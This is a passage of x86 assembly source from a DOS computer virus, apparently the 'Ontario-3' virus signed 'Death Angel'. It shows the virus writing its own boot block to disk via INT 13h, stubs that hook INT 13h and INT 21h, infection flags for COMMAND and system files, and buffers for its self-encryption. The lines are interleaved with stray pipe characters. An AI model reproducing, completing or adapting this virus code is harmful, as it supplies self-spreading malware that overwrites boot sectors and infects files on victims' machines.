mov cx,bootsectorentry - bootparms ; block is changed
|
||
|
|
rep movsb
|
||
|
|
xor cx,cx
|
||
|
|
mov dx,cx
|
||
|
|
inc cx
|
||
|
|
mov bx,offset bootsector ; copy virus boot block
|
||
|
|
mov ax,301h
|
||
|
|
call callint13
|
||
|
|
go_exitint13:
|
||
|
|
jmp exitint13
|
||
|
|
|
||
|
|
callint21:
|
||
|
|
pushf
|
||
|
|
call dword ptr cs:oldint21
|
||
|
|
retn
|
||
|
|
|
||
|
|
callint13:
|
||
|
|
pushf
|
||
|
|
call dword ptr cs:oldint13
|
||
|
|
retn
|
||
|
|
|
||
|
|
oldint13 dd 0
|
||
|
|
drivehead dw 100h
|
||
|
|
sectortrack dw 2709h
|
||
|
|
YAM db '*YAM*',1Ah
|
||
|
|
db 'Your PC has a bootache! - Get some medicine!',1Ah
|
||
|
|
db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
|
||
|
|
save4:
|
||
|
|
origCSIP db 0CDh, 020h, 0, 0
|
||
|
|
origSSSP dd 0
|
||
|
|
|
||
|
|
endvirus:
|
||
|
|
|
||
|
|
viruslength = $ - decrypt
|
||
|
|
|
||
|
|
infCOMMAND db ?
|
||
|
|
infectSYS db ?
|
||
|
|
readbuffer db 01Ch dup (?)
|
||
|
|
encryptbuffer db viruslength dup (?)
|
||
|
|
|
||
|
|
end decrypt
|